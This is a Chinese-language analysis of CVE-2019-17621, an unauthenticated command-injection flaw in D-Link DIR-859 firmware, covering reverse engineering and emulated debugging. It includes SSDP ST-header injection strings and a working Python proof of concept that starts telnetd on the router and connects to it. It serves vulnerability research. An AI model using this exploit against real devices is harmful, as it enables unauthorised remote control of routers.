CVE-2019–17621: D-Link DIR-859 未授权命令执行漏洞分析

 

0x01.漏洞概述

1.简介

D-Link DIR-859设备LAN层中出现未经身份验证的命令执行漏洞(CVE-2019-17621)

2.漏洞研究版本

型号:DIR-859
固件版本:1.06b01 Beta01,1.05
架构:MIPS 32位

3.受影响的D-Link版本

 

0x02.漏洞起因

远程命令执行漏洞发生在cgibin可执行文件中的ssdpcgi_main()函数中,即使这个函数之前已经打过补丁,但是而由于环境变量未正确过滤而造成远程命令执行.

 

0x03.Firmadyne模拟DIR-859

1.使用Firmadyne成功模拟DIR-859

 

0x04.固件提取

1.获取固件

2.提取固件

3.grep搜索造成漏洞的cgibin文件

 

0x05.Ghidra二进制分析cgibin

1.查找造成漏洞的函数ssdpcgi_main()

2.分析ssdcgi_main()函数

首先通过getenv()获取环境变量,经过多个判断后经过urn,device,serivce等进行拼接成新的字符串,最后将新生成的字符串作为lxmldbc_system()的变量进行传递.

我们利用这个漏洞需要满足如下条件:

(1).HTTP_ST中含有urn:这四个字符以满足上面的判断条件

(2).将要执行的命令通过strstr()拼接到device或service上,以满足命令执行条件

(3).将拼接成的字符串传递给lxmldbc_system()

3.造成漏洞真正的原因是lxmldbc_system()函数,函数如下

lxmldbc_system()函数的参考地址:https://pastebin.com/kqEByBgA

根据原文,sistema de retorno为system()函数

4.根据lxmldbc_system()写了一个简单的Demo

5.运行Demo,执行系统命令

6.IDA跟进分析ssdpcgi_main

当我们控制HTTP_ST环境变量的值时,我们将命令在作为vsnpritf()函数的参数发送之前将它们连接起来,以格式化字符串.而格式化后的字符串保存在$0,$0会被lxmldbc_system()作为buffer,以执行system()命令。

 

0x06.使用Qemu+IDA动态调试

1.查看可执行程序格式

2.复制qemu-mips模拟运行cgibin

-0: 要请求的cgi
-E: 传入自定义的环境变量

通过Ghidra分析可以看出如果想要跳转到ssdpcgi_main()函数,想要匹配ssdpcgi才可以.

这些就是我们需要进行传输的数据

3.经过上面的操作已经启动qemu-mips-static对cgibin进行模拟,并监听在10000端口

4.IDA进行远程调试

(1).IDA加载cgibin时,选中Maunal load,发生弹窗全部选择确认

(2).在关键位置下断点

(3).IDA加载IP和PORT

(4).启动调试,运行到断点的位置,在最开始的判断的时候进行的强制更改跳转

(5).根据$0的地址到内存查找字符

这里我们也已经找到了传递过来并已经拼接的值

根据漏洞成因可以确定拼接成后的格式

s0:/etc/scripts/upnp/M-SEARCH.sh devices 127.0.0.1:13 1 urn:device:1;your command &
s0:/etc/scripts/upnp/M-SEARCH.sh services 127.0.0.1:13 1 urn:service:1;your command&

(6).根据lxmldbc_system()的第二个参数可以确定会去执行/etc/scripts/upnp/M-SEARCH.sh,这里我们进行验证拼接命令的字符串是否成功执行

 

0x07.编写POC

由于D-Link中本身就内置Telnet,所以直接使用Telent建立稳定的Shell

#!/usr/bin/python
import sys
import os
import socket
from time import sleep
# Exploit By Miguel Mendez - @s1kr10s
def config_payload(ip, port):
    header = "M-SEARCH * HTTP/1.1n"
    header += "HOST:"+str(ip)+":"+str(port)+"n"
    header += "ST:urn:device:1;telnetdn"
    header += "MX:2n"
    header += 'MAN:"ssdp:discover"'+"nn"
    return header
def send_conexion(ip, port, payload):
    sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)
    sock.sendto(payload,(ip, port))
    sock.close()
if __name__== "__main__":
    ip = raw_input("Router IP: ")
    port = 1900
    print("n---= HEADER =---n")
    headers = config_payload(ip, port)
    print("[+] Preparando Header ...")
    print("[+] Enviando payload ...")
    print("[+] Activando servicio telnetd :)") 
    send_conexion(ip, port, headers)
    print("[+] Conectando al servicio ...n")
    sleep(5)
    os.system('telnet ' + str(ip))

 

0x08.POC验证

成功连接telent,并执行系统命令

 

0x09.参考:

1.https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73
2.https://support.dlink.com/ProductInfo.aspx?m=DIR-859
3.https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10147
(完)